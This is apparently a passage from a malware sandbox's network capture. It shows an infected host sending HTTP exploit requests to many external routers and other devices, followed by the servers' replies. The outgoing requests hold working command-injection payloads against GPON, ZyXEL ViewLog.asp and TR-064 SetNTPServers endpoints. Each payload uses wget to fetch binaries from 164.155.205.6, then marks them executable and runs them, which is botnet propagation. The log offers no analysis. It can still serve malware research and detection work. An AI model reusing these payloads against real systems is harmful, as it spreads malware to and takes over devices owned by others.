Mar 2, 2024 12:37:45.035495996 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
959	192.168.2.23	37916	206.238.109.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.130978107 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:46.100982904 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:46.418844938 CET	320	IN	HTTP/1.1 403 Forbidden Server: nginx/1.20.1 Date: Sat, 02 Mar 2024 11:37:44 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.20.1</center></body></html>
Mar 2, 2024 12:37:46.418855906 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Sat, 02 Mar 2024 11:37:44 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
960	192.168.2.23	60358	82.157.53.43	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.131019115 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:46.750049114 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:47.062915087 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sat, 02 Mar 2024 11:37:46 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 2, 2024 12:37:47.062932014 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:37:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 2, 2024 12:37:48.734400988 CET	601	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sat, 02 Mar 2024 11:37:46 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 37 3a 34 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>HTTP/1.1 400 Bad RequestServer: nginxDate: Sat, 02 Mar 2024 11:37:46 GMTContent-Type: text/htmlContent-Length: 150Connection: close<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
961	192.168.2.23	36280	97.120.182.181	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.662724018 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:49.725627899 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:49.931476116 CET	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
962	192.168.2.23	36532	47.210.16.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.807102919 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:46.261121035 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
963	192.168.2.23	54694	86.124.169.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.867665052 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:46.074429989 CET	460	IN	HTTP/1.1 302 Found Location: https://127.0.0.1:443/cgi-bin/ViewLog.asp Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'none' Content-Length: 98 X-Frame-Options: SAMEORIGIN Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
964	192.168.2.23	43402	213.207.154.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.905009031 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:46.368235111 CET	1286	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Sat, 02 Mar 2024 11:37:45 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking fo
